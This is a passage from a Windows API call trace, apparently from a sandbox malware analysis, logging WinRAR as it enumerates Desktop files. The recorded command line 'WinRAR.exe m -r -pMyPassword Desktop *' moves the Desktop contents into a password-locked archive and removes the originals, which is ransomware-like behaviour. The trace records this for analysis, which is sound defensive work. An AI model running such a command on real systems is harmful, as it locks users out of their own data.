[0060.833] GetWindow (hWnd=0x1028e, uCmd=0x2) returned 0x10290 [0060.833] GetWindowTextW (in: hWnd=0x10290, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x10290, uCmd=0x2) returned 0x10292 [0060.833] GetWindowTextW (in: hWnd=0x10292, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x10294 [0060.833] GetWindowTextW (in: hWnd=0x10294, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Elapsed time") returned 12 [0060.833] SetWindowTextW (hWnd=0x10294, lpString="Elapsed time") returned 1 [0060.833] GetWindow (hWnd=0x10294, uCmd=0x2) returned 0x10296 [0060.833] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x10298 [0060.833] GetWindowTextW (in: hWnd=0x10298, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Time left") returned 9 [0060.833] SetWindowTextW (hWnd=0x10298, lpString="Time left") returned 1 [0060.833] GetWindow (hWnd=0x10298, uCmd=0x2) returned 0x1029a [0060.833] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.834] GetWindow (hWnd=0x1029a, uCmd=0x2) returned 0x1029c [0060.834] GetWindowTextW (in: hWnd=0x1029c, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.834] GetWindow (hWnd=0x1029c, uCmd=0x2) returned 0x1029e [0060.834] GetWindowTextW (in: hWnd=0x1029e, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Compression ratio") returned 17 [0060.834] SetWindowTextW (hWnd=0x1029e, lpString="Compression ratio") returned 1 [0060.834] GetWindow (hWnd=0x1029e, uCmd=0x2) returned 0x102a0 [0060.834] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.834] GetWindow (hWnd=0x102a0, uCmd=0x2) returned 0x102a2 [0060.834] GetWindowTextW (in: hWnd=0x102a2, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Processed") returned 9 [0060.834] SetWindowTextW (hWnd=0x102a2, lpString="Processed") returned 1 [0060.834] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x102a4 [0060.834] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.834] GetWindow (hWnd=0x102a4, uCmd=0x2) returned 0x102a6 [0060.834] GetWindowTextW (in: hWnd=0x102a6, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.834] GetWindow (hWnd=0x102a6, uCmd=0x2) returned 0x102a8 [0060.834] GetWindowTextW (in: hWnd=0x102a8, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="&Background") returned 11 [0060.834] SetWindowTextW (hWnd=0x102a8, lpString="&Background") returned 1 [0060.834] GetWindow (hWnd=0x102a8, uCmd=0x2) returned 0x102aa [0060.834] GetWindowTextW (in: hWnd=0x102aa, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="&Pause") returned 6 [0060.834] SetWindowTextW (hWnd=0x102aa, lpString="&Pause") returned 1 [0060.834] GetWindow (hWnd=0x102aa, uCmd=0x2) returned 0x102ac [0060.834] GetWindowTextW (in: hWnd=0x102ac, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0060.834] SetWindowTextW (hWnd=0x102ac, lpString="Cancel") returned 1 [0060.834] GetWindow (hWnd=0x102ac, uCmd=0x2) returned 0x102ae [0060.834] GetWindowTextW (in: hWnd=0x102ae, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="&Mode...") returned 8 [0060.834] SetWindowTextW (hWnd=0x102ae, lpString="&Mode...") returned 1 [0060.834] GetWindow (hWnd=0x102ae, uCmd=0x2) returned 0x102b0 [0060.834] GetWindowTextW (in: hWnd=0x102b0, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Help") returned 4 [0060.834] SetWindowTextW (hWnd=0x102b0, lpString="Help") returned 1 [0060.834] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x0 [0060.834] IsWindowVisible (hWnd=0x10284) returned 0 [0060.834] GetParent (hWnd=0x10284) returned 0x0 [0060.834] IsWindowVisible (hWnd=0x0) returned 0 [0060.834] GetDesktopWindow () returned 0x10010 [0060.834] GetWindowRect (in: hWnd=0x10010, lpRect=0xe414f3ea8 | out: lpRect=0xe414f3ea8) returned 1 [0060.834] GetWindowRect (in: hWnd=0x10284, lpRect=0xe414f3eb8 | out: lpRect=0xe414f3eb8) returned 1 [0060.835] GetWindowLongPtrW (hWnd=0x10284, nIndex=-16) returned 0x84ca08cc [0060.835] SetWindowPos (hWnd=0x10284, hWndInsertAfter=0x0, X=565, Y=314, cx=0, cy=0, uFlags=0x215) returned 1 [0060.836] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0060.836] GetSystemMenu (hWnd=0x10284, bRevert=0) returned 0x10285 [0060.836] EnableMenuItem (hMenu=0x10285, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0060.836] EnableMenuItem (hMenu=0x10285, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0060.836] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0060.837] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10284, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x102b2 [0060.841] GetWindowRect (in: hWnd=0x1028c, lpRect=0xe414f3ed8 | out: lpRect=0xe414f3ed8) returned 1 [0060.841] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10284, lpPoints=0xe414f3ed8, cPoints=0x2 | out: lpPoints=0xe414f3ed8) returned -22217272 [0060.841] SendMessageW (hWnd=0x102b2, Msg=0x432, wParam=0x0, lParam=0xe414f3ec0) returned 0x1 [0060.842] GetDlgItem (hDlg=0x10284, nIDDlgItem=165) returned 0x10288 [0060.842] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10284, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x102b4 [0060.845] GetWindowRect (in: hWnd=0x10288, lpRect=0xe414f3ed8 | out: lpRect=0xe414f3ed8) returned 1 [0060.845] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10284, lpPoints=0xe414f3ed8, cPoints=0x2 | out: lpPoints=0xe414f3ed8) returned -22217272 [0060.845] SendMessageW (hWnd=0x102b4, Msg=0x432, wParam=0x0, lParam=0xe414f3ec0) returned 0x1 [0060.845] IsWindowVisible (hWnd=0x1025a) returned 0 [0060.845] IsIconic (hWnd=0x1025a) returned 0 [0060.845] GetWindowPlacement (in: hWnd=0x10284, lpwndpl=0xe414f4370 | out: lpwndpl=0xe414f4370) returned 1 [0060.845] SetWindowPlacement (hWnd=0x1025a, lpwndpl=0xe414f4370) returned 1 [0060.845] NtdllDefWindowProc_W () returned 0x0 [0060.845] NtdllDefWindowProc_W () returned 0x0 [0060.846] NtdllDefWindowProc_W () returned 0x0 [0060.846] NtdllDefWindowProc_W () returned 0x1 [0060.846] NtdllDefWindowProc_W () returned 0x0 [0060.846] NtdllDefWindowProc_W () returned 0x0 [0060.846] GetClientRect (in: hWnd=0x1025a, lpRect=0xe414f0e00 | out: lpRect=0xe414f0e00) returned 1 [0060.846] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0da0 | out: lpRect=0xe414f0da0) returned 0 [0060.846] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0da0 | out: lpRect=0xe414f0da0) returned 0 [0060.846] MoveWindow (hWnd=0x3027e, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.847] IsIconic (hWnd=0x1025a) returned 0 [0060.847] GetClientRect (in: hWnd=0x1025a, lpRect=0xe414f0d80 | out: lpRect=0xe414f0d80) returned 1 [0060.847] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0d20 | out: lpRect=0xe414f0d20) returned 0 [0060.847] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0d20 | out: lpRect=0xe414f0d20) returned 0 [0060.847] MoveWindow (hWnd=0x3027e, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.847] IsIconic (hWnd=0x1025a) returned 0 [0060.847] GetClientRect (in: hWnd=0x1025a, lpRect=0xe414f0d90 | out: lpRect=0xe414f0d90) returned 1 [0060.847] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0d30 | out: lpRect=0xe414f0d30) returned 0 [0060.847] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0d30 | out: lpRect=0xe414f0d30) returned 0 [0060.848] MoveWindow (hWnd=0x3027e, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.848] IsIconic (hWnd=0x1025a) returned 0 [0060.848] GetClientRect (in: hWnd=0x1025a, lpRect=0xe414f0d10 | out: lpRect=0xe414f0d10) returned 1 [0060.848] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0cb0 | out: lpRect=0xe414f0cb0) returned 0 [0060.848] GetWindowRect (in: hWnd=0x0, lpRect=0xe414f0cb0 | out: lpRect=0xe414f0cb0) returned 0 [0060.848] MoveWindow (hWnd=0x3027e, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.848] NtdllDefWindowProc_W () returned 0x1 [0060.849] CreatePen (iStyle=0, cWidth=1, color=0x606060) returned 0x53007a9 [0060.849] CreatePen (iStyle=0, cWidth=1, color=0x80809e) returned 0x3007aa [0060.849] CreatePen (iStyle=0, cWidth=1, color=0xeee8e8) returned 0x3007ab [0060.849] CreatePen (iStyle=0, cWidth=1, color=0xffffff) returned 0x3007ac [0060.849] CreatePen (iStyle=0, cWidth=1, color=0xc0ffff) returned 0x3007ad [0060.849] CreatePen (iStyle=0, cWidth=1, color=0xb4d4e4) returned 0x3007ae [0060.849] CreatePen (iStyle=0, cWidth=1, color=0x9494b4) returned 0x3007af [0060.849] CreatePen (iStyle=0, cWidth=1, color=0x464040) returned 0x3007b0 [0060.849] CreateSolidBrush (color=0x6e6e94) returned 0x1007b1 [0060.849] CreateSolidBrush (color=0xdcd6d6) returned 0x1007b2 [0060.849] CreateSolidBrush (color=0xa0c0d0) returned 0x1007b3 [0060.849] PostMessageW (hWnd=0x10284, Msg=0x8008, wParam=0x0, lParam=0x1) returned 1 [0060.850] GetSystemMetrics (nIndex=49) returned 16 [0060.850] GetSystemMetrics (nIndex=50) returned 16 [0060.850] LoadImageW (hInst=0x7ff6f74d0000, name=0x65, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x10287 [0060.851] SendMessageW (hWnd=0x10284, Msg=0x80, wParam=0x0, lParam=0x10287) returned 0x0 [0060.852] GetSystemMetrics (nIndex=11) returned 32 [0060.852] GetSystemMetrics (nIndex=12) returned 32 [0060.852] LoadImageW (hInst=0x7ff6f74d0000, name=0x65, type=0x1, cx=32, cy=32, fuLoad=0x0) returned 0x10289 [0060.853] SendMessageW (hWnd=0x10284, Msg=0x80, wParam=0x1, lParam=0x10289) returned 0x0 [0060.853] GetStartupInfoW (in: lpStartupInfo=0xe414f5cf0 | out: lpStartupInfo=0xe414f5cf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x100ec0002)) [0060.853] ShowWindow (hWnd=0x10284, nCmdShow=5) returned 0 [0060.853] GetWindowLongPtrW (hWnd=0x10284, nIndex=-16) returned 0x84ca08cc [0060.854] NtdllDefWindowProc_W () returned 0x0 [0061.344] SetDlgItemTextW (hDlg=0x10284, nIDDlgItem=165, lpString="Desktop.rar") returned 1 [0061.986] GetWindowTextW (in: hWnd=0x10284, lpString=0x7ff6f7672480, nMaxCount=2176 | out: lpString="Preparing files...") returned 18 [0061.986] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414f58a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0061.986] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0061.986] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414f4450, nMaxCount=2560 | out: lpString="") returned 0 [0061.986] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0061.986] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414f4450, nMaxCount=2560 | out: lpString="") returned 0 [0061.986] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.987] GetTickCount () returned 0x256c1 [0061.987] UpdateWindow (hWnd=0x10284) returned 1 [0061.987] GetPropW (hWnd=0x10284, lpString="Done") returned 0x0 [0061.987] BeginPaint (in: hWnd=0x10284, lpPaint=0xe414f3be0 | out: lpPaint=0xe414f3be0) returned 0x60100ce [0061.987] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.987] QueryPerformanceCounter (in: lpPerformanceCount=0xe414f3290 | out: lpPerformanceCount=0xe414f3290*=15331568388) returned 1 [0061.987] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.987] GetLastError () returned 0x2 [0061.987] SetLastError (dwErrCode=0x2) [0061.987] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0061.987] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0061.987] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414f1e70, nMaxCount=2560 | out: lpString="") returned 0 [0061.987] SetWindowTextW (hWnd=0x1028e, lpString=" 0%") returned 1 [0061.988] ShowWindow (hWnd=0x10290, nCmdShow=9) returned 0 [0061.989] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0061.991] QueryPerformanceCounter (in: lpPerformanceCount=0xe414f3290 | out: lpPerformanceCount=0xe414f3290*=15331917197) returned 1 [0061.991] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414f32a8 | out: ppv=0xe414f32a8*=0x1ec0a658bb0) returned 0x0 [0062.016] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0a658bb0, hwnd=0x10284, tbpFlags=2) returned 0x0 [0062.016] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0a658bb0, hwnd=0x10284, ullCompleted=0x0, ullTotal=0x1) returned 0x0 [0062.017] TaskbarList:IUnknown:Release (This=0x1ec0a658bb0) returned 0x0 [0062.017] GetLastError () returned 0x7f [0062.017] SetLastError (dwErrCode=0x7f) [0062.017] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0062.017] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0062.017] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414f1e70, nMaxCount=2560 | out: lpString="") returned 0 [0062.017] SetWindowTextW (hWnd=0x102a4, lpString=" 0%") returned 1 [0062.018] GetLastError () returned 0x0 [0062.018] SetLastError (dwErrCode=0x0) [0062.018] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0062.018] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414f1e70, nMaxCount=2560 | out: lpString="") returned 0 [0062.018] SetWindowTextW (hWnd=0x102a0, lpString=" 0%") returned 1 [0062.019] ShowWindow (hWnd=0x102a6, nCmdShow=9) returned 0 [0062.020] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0062.020] EndPaint (hWnd=0x10284, lpPaint=0xe414f3be0) returned 1 [0062.144] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x40) returned 0x1ec0a656f60 [0062.144] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x33608) returned 0x1ec0bfbbfb0 [0062.146] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x100000) returned 0x1ec0d905040 [0062.148] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10c0) returned 0x1ec0a65be70 [0062.148] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10c0) returned 0x1ec0a65cf40 [0062.151] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1010) returned 0x1ec0a6602d0 [0062.151] FindFirstFileW (in: lpFileName="*", lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 0x1ec0a64cea0 [0062.151] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.151] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1) returned 3 [0062.153] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xc00) returned 0x1ec0a65e010 [0062.153] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1a) returned 0x1ec0a658ee0 [0062.153] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1) returned 3 [0062.153] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a658ca0 [0062.153] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1) returned 3 [0062.153] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1a) returned 0x1ec0a658850 [0062.153] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1) returned 3 [0062.153] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2a) returned 0x1ec0a63cb40 [0062.153] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1) returned 3 [0062.153] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x16) returned 0x1ec0a64b9f0 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="4WmeXcoy8E.gif", cchCount2=-1) returned 3 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a658a30 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1) returned 3 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0a658a00 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="AG0E6OHBnNCn.mkv", cchCount2=-1) returned 3 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x22) returned 0x1ec0a658940 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="cdf 0O.avi", cchCount2=-1) returned 3 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x16) returned 0x1ec0a64baf0 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="chO6xvKC4SuwQxTe.rtf", cchCount2=-1) returned 3 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2a) returned 0x1ec0a63ca40 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x18) returned 0x1ec0a64b8b0 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="dRR2.wav", cchCount2=-1) returned 1 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x12) returned 0x1ec0a64bbd0 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="EKbd9czGD.bmp", cchCount2=-1) returned 1 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1c) returned 0x1ec0a658f10 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="GAXF44R72SInzUMj.mp3", cchCount2=-1) returned 1 [0062.154] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2a) returned 0x1ec0a63cbc0 [0062.154] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="gG_HZ-HV.swf", cchCount2=-1) returned 1 [0062.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1a) returned 0x1ec0a6587c0 [0062.155] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="H9Q00myyEZo.mp3", cchCount2=-1) returned 1 [0062.155] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0a658df0 [0062.155] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="HBzA3ifwtSZxE.avi", cchCount2=-1) returned 1 [0062.155] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.155] GetLastError () returned 0x0 [0062.155] SetLastError (dwErrCode=0x0) [0062.155] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414d4720, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.155] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0062.155] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414d32d0, nMaxCount=2560 | out: lpString="") returned 0 [0062.155] SetWindowTextW (hWnd=0x1028a, lpString="16 files found") returned 1 [0062.156] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0062.156] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414d32d0, nMaxCount=2560 | out: lpString="") returned 0 [0062.156] GetTickCount () returned 0x2576d [0062.156] UpdateWindow (hWnd=0x10284) returned 1 [0062.156] PeekMessageW (in: lpMsg=0xe414d4ac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414d4ac0) returned 1 [0062.159] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="MENUACC") returned 0x20333 [0062.159] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="LISTACC") returned 0x4030f [0062.160] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="FILEACC") returned 0x10335 [0062.160] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="VIEWACC") returned 0x10337 [0062.160] GetMessageW (in: lpMsg=0xe414d4a50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414d4a50) returned 1 [0062.160] GetFocus () returned 0x102a8 [0062.160] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414d4a50) returned 0 [0062.160] GetKeyState (nVirtKey=16) returned 0 [0062.160] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414d4a50) returned 0 [0062.160] TranslateMessage (lpMsg=0xe414d4a50) returned 0 [0062.160] DispatchMessageW (lpMsg=0xe414d4a50) returned 0x0 [0062.160] NtdllDefWindowProc_W () returned 0x0 [0062.160] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.160] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x24) returned 0x1ec0a658e50 [0062.160] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="hh4lRnb.ods", cchCount2=-1) returned 1 [0062.160] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x18) returned 0x1ec0a64bc10 [0062.160] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="hqk1KnpsNtd.mkv", cchCount2=-1) returned 1 [0062.160] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0a658a60 [0062.160] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Hx3Tlhe_5jId0OJhP6.pptx", cchCount2=-1) returned 1 [0062.160] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63ca80 [0062.160] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: 